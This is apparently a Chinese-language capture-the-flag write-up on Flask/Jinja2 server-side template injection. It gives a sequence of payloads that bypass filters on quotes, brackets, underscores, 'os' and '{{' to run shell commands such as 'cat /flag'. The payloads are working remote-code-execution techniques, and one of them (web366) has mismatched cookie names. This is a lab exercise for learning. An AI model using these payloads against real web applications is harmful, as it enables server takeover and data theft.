web361
没有做任何过滤
?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
出现了flag,然后cat../flag即可
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
web362
过滤了数字,上一题的payload依旧可以用
web363
过滤了单双引号,可以利用request.args.变量名结构
?name={{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()
web364
过滤了引号和args。
虽然不能get传参,但是可以用cookie。基本模式就是request.cookies.变量名,再抓包添加即可。
?name={{a.__init__.__globals__[request.cookies.x].eval(request.cookies.y)}}//get传参
x=__builtins__;y=__import__("os").popen("cat /flag").read() //添加在cookie里
web365
过滤了[]
引入__getitem__调用字典中的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]
?name={{a.__init__.__globals__.__getitem__(request.cookies.x).eval(request.cookies.y)}}
cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read()
web366
过滤了_
所有类似于__init__这样的方法都不能用了,那只是name传参不能用,但是我们可以用cookie来传参。使用flask框架自带的attr过滤器。attr用于获取变量。
?name={{(lipsum|attr(request.cookies.x)).os.popen(request.cookies.y).read()}}
Cookie:a=__globals__;b=cat /flag
web367
过滤了os,那我们就把os写进cookie里,改一下上面的payload;
?name={{(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read()}}
Cookie:x=__globals__;y=os;z=cat /flag
web368
过滤了{{
使用{%%}
绕过,再借助print()
回显
?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()